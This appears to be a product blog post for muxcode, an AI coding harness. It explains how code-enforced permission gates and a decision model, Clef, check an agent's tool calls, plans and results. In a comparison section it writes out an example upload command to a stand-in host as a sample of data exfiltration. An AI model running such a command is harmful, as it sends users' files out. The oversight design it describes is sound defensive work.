A case for a custom harness
A model in a loop can ask for anything, and the code around it decides what happens. Why that code should be yours, and what muxcode already gives you.
At a glance
- An agent is a model in a loop. The harness is the code that runs each tool and says yes or no.
- A decider such as Clef answers with a choice and a probability, not a paragraph, so code can hold it to a fixed bar.
- In muxcode, rules in code guard every tool call. Clef can name a risk or fail a check, never widen a permission.
- muxcode fixes the loop and its limits, and leaves the models, the rules and the checks to you.
An AI agent is a model in a loop. It reads a task, asks for a tool, reads what came back, and goes round again until it decides the work is done. Each time it asks for a tool, it asks to act on your machine: read a file, run a command, delete something.
Something has to answer that request. That something is the harness: the code that runs the loop, runs the tool, and says yes or no. The model proposes and the harness decides.
This post says why you want that code to be yours, and where muxcode fits. It is the other half of Why muxcode?, which was about why a loop needs checks. This one is about who writes them.
The model asks. The harness answers.
- Reads The task, and what the last tool sent back
- Asks for a tool Read a file, run a command, edit, delete
- Decides Yes, ask the person, or no
- Runs the tool Only after a yes
- Checks the result Done, or another lap
↺Then round again, until the harness says the work is done.
Look at what the model owns in that drawing: two boxes out of five. Every other box is code. If you write none of it, the model answers its own requests, and you have put the thing you meant to check in charge of checking.
Each lap, the harness has three questions to answer:
- Which model should take this step?
- Is this call safe to run?
- Is this answer good enough, or does the loop go round again?
Checks get skipped when they cost too much
The usual way to answer those questions is to ask a chat model to judge. It reads the context and writes its verdict, one word after another. That is slow, and it costs money on every step. So a harness is tempted to skip the check, and trade control for speed.
A decider changes what comes back: a model built to choose, not to write. Clef is one, Cloudflare’s decision model, and muxcode runs it alongside its models, as @cf/cloudflare/clef on Workers AI. You put a typed question to it, and it answers with a choice and a probability, not a paragraph. There is no text to write, and none to parse.
-
A chat model as the judge
- The question
- Does
curl -T notes.txt ftp://files.example.comsend data out? - The answer
- Then
- Someone must still turn that into yes or no, and the model wrote every word of it first.
-
A decider such as Clef
- The question
- Does
curl -T notes.txt ftp://files.example.comsend data out? - The answer
- Then
- The host compares 0.93 with the bar for that question. At or over it, the host acts. Under it, or with no answer, nothing changes.
That answer is easy to hold to a rule. The host compares the probability with a fixed bar. At or over the bar, it acts. Under the bar, or with no answer, nothing changes.
Clef is asked at set moments
muxcode does not ask Clef about every tool call. It asks at set moments, such as before a worker starts, at the gate and when a command needs a card. Code handles the rest at no token cost. We have not put a price on the saving.
The first speeds we measured are thin, and they are Jev’s, the classifier before Clef:
- In the first live run with the shipped workflow, filed 2026-09-24, 4 readings came back in 208 to 252 ms.
- In QA on 2026-09-23, 17 of about 65 live Jev calls missed the 2.5-second wait.
For clef-flash, the smaller model muxcode used until 1.0.12, Cloudflare reports a median of 38.8 ms; we have not measured it ourselves. muxcode now asks the 27B Clef. In our full calibration run its 441 answers came back in a median of 471 ms, none over a second. Because a missing answer changes nothing, a slow Clef costs a hint and does not stop a run.
Three places a harness decides
A harness decides at three points: when it picks a model, when it guards a tool call, and when it checks an answer. muxcode has all three. It does not build them the way you might expect, so here is each one.
-
Pick the model
- Code does
- Runs the seats you set, each at its own model and effort. The Architect plans, the worker writes, the retry takes over on a second model, and a judge on a third accepts.
- Clef adds
- Picks the lane once per change: solo for a confined change a check can prove, the workflow for the rest, and a second reviewer where mistakes would be quiet.
- From muxcode 1.0.12, it no longer picks a worker or sets effort: in live runs those readings changed no decision.
- It reads whether a worker has drifted or is stuck, at 0.85, and can steer or stop it.
- Unsure or silent
- The change takes the full workflow, and the worker runs on.
-
Guard the call
- Code does
- Every tool call passes the gate on your Mac: your mode, the rules you keep, and the edge of your project, past which an edit asks. An edit inside a
.gitfolder always asks, except in bypass mode. - Clef adds
- Names the risk on a command's permission card. In bypass mode, a command it is 0.8 sure would delete files outside the project, send data out, touch credentials or change the machine comes to you first.
- From muxcode 1.0.6, it does not read a cloud task's commands; the sandbox's gateway refuses their uploads, publishes and pushes.
- It can never widen a permission.
- Unsure or silent
- The gate's own answer stands.
-
Check the answer
- Code does
- Runs your checks and reads the exit codes. The judge reads the work only after the gate passes.
- Clef adds
- Reads the plan before a worker starts, and sends it back once at 0.7. At the gate, fails a check that breaks in a new way, a weakened check or a hollow test, at 0.6 to 0.75. Reads the worker's summary against the check log, and hands the judge a line to read first.
- Unsure or silent
- The gate and the judge decide as they would without Clef.
Two differences matter.
Clef is not the firewall. In a video we watched on building a harness, the decider is a hard stop on risky calls, a green light or a red light. In muxcode, the gate is rules that code enforces: your permission mode, the rules you keep, and the edge of your project, past which an edit has to ask.
Clef names the risk on a command’s card and, in bypass mode only, can put one call to you first. It can never widen a permission. We built it that way on purpose: a probability should not be the last thing between a model and your files.
Clef does not pick the model. Until muxcode 1.0.12 it could move a work package to a cheaper worker and raise a seat’s effort. In a live comparison on 19 October 2026, 164 effort readings and 10 worker readings changed nothing, while runs with Clef took 27% longer at the median, so we removed both. Every seat now runs at the model and effort you set.
Who decides what “done” means
A ready-made agent brings its own loop, its own choice of models and its own idea of done. That is fine until the day you need a rule it does not have.
Build your own on pi, the open-source coding agent muxcode runs, and every choice is yours. So is the work. A harness you write is a harness you keep.
-
A ready-made agent A sealed box
- The loop
- Comes with it
- The models
- The ones it offers
- What is allowed
- Its defaults, and what it lets you set
- What counts as done
- Its own idea, and usually the model's
- What it costs you
- Least work. You trust a loop you did not write.
-
Your own, on pi Gears you assemble
- The loop
- You write it
- The models
- Any you wire in
- What is allowed
- Whatever you code
- What counts as done
- Whatever you code
- What it costs you
- You write it, test it and keep it.
-
muxcode A harness already built, for coding
- The loop
- Fixed: plan, build, gate, judge, retry
- The models
- Yours, seat by seat, from your sign-ins or the one mux includes
- What is allowed
- Your mode and the rules you keep; an edit outside the project asks
- What counts as done
- The checks you name, read as exit codes, then the judge
- What it costs you
- A loop you cannot reshape, and a job that must be coding.
muxcode sits between the two. It is a harness we built and keep, and it hands you what you would tune:
- Your models. Every seat is filled from your own sign-ins or, on Pro and Pro+, from the model mux includes, and you can change any of them in Settings → Agents, with each seat’s effort.
- Your rules. You pick the permission mode and keep the rules a card offers. An edit outside the project asks, and so does one inside a
.gitfolder, unless you chose bypass mode. - Your definition of done. Name a check in backticks, such as
pnpm test, and the plan has to run it, or the host sends the plan back. The host runs it, reads the exit code, and no model’s yes passes a change that fails it.
What you do not get is a different loop, or different limits. Plan, build, gate, judge, retry is the shape. The host sizes each run’s limits by the repository, from 750,000 tokens and 60 minutes of active time under 300 files to 3,000,000 tokens and 180 minutes at 1,000 files or more, and stops every run at 40 attempts. Clef’s bars change only in new versions of muxcode. If you want a loop with another shape, build your own.
Build your own when the job is not coding
muxcode is a coding agent. If your agent files support tickets, moves data or runs a store, its loop, its tools and its idea of done are not ours to guess. Build that harness, on pi or on another toolkit, and put a decider where its checks would be too dear to run with a chat model.
If the job is code, the harness already exists, and it was built the way this post argues: the model proposes, and rules you can see and set decide.
The working where each number comes from
- 208 to 252 ms: Jev’s 4 worker effort readings in the first live run of the shipped workflow, filed 2026-09-24, from effort, one generation at a time.
- 17 of about 65: Jev timeouts in the QA report of 2026-09-23, from the same post. We did not keep the log.
- 471 ms median, 953 ms at most: the 441 answers in
all-hooks.clef.calibration.json, muxcode’s calibration run on Clef for 1.0.12, read on 2026-10-19. Each call carries one or more questions; we did not time a workflow’s calls. - 38.8 ms: Cloudflare’s median latency for
clef-flashin its own benchmark of 43 evals, published 2026-10-01. It is Cloudflare’s figure, not ours. - 0.7, 0.85 and 0.9: the bars for a contract defect, a worker route or an effort level, and the bypass guard, in How Clef works on 2026-10-07. muxcode 1.0.12 removed the worker route and effort level and set the bypass guard at 0.8.
- 164 and 10 readings, 27%: the live comparison of 19 October 2026 in muxcode’s benchmark post, which led to the removal. A bar is the least confidence at which muxcode acts.
- 750,000 tokens, 60 minutes, 40 attempts: from plan first, then prove it, read from muxcode 1.0.19’s code on 2026-10-28; the token limit was 500,000 until muxcode 1.0.12. None of the three is a setting.
- Limits by repository size: since muxcode 1.0.21, 750,000 tokens and 60 minutes under 300 files, 1,125,000 and 90 under 1,000, and 3,000,000 and 180 at 1,000 or more, with the project’s own checks left out of the time. The large tier was 1,500,000 and 120 until commit
41c0fe92of 3 November 2026, shipped in 1.0.22.allowancein muxcode’sworkflow/engine.rsat commite8e813b2, read on 2026-11-04; the 40 attempts still stand, and none is a setting. - The example in the second drawing: made up, to show the shape of the two answers. It is not a classifier log.
- The video: an explainer on building a harness with pi and Jev. We took its argument, not its claims, and drew the parts of it that hold for muxcode.